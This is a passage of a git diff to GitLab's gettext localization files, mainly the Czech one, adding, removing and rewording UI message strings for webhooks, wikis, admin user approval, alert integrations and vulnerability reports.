+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/cs_CZ/gitlab.po b/locale/cs_CZ/gitlab.po
index cb561eaa887..7cf048a0364 100644
--- a/locale/cs_CZ/gitlab.po
+++ b/locale/cs_CZ/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: cs\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:46\n"
+"PO-Revision-Date: 2020-12-03 08:15\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -88,6 +88,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -203,15 +210,15 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -461,22 +468,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
-msgstr ""
-
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -565,6 +563,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -637,21 +638,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -667,9 +674,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -685,13 +689,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -724,9 +728,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -831,40 +832,13 @@ msgstr[3] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -926,6 +900,9 @@ msgstr "%{strongStart}Odstraní%{strongEnd} zdrojovou větev"
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -1033,6 +1010,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -1051,12 +1031,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1688,9 +1662,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -2040,9 +2011,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2265,6 +2242,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2313,16 +2299,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2349,6 +2338,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2385,6 +2377,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2424,6 +2425,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2433,6 +2443,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2442,6 +2455,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2454,7 +2476,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2668,6 +2696,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2677,9 +2723,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2707,6 +2762,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2719,7 +2780,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2728,27 +2795,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2758,9 +2849,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2770,6 +2858,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2782,6 +2882,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2797,16 +2900,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2911,6 +3035,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -3028,9 +3155,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -3151,9 +3275,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3187,16 +3308,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3253,6 +3377,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
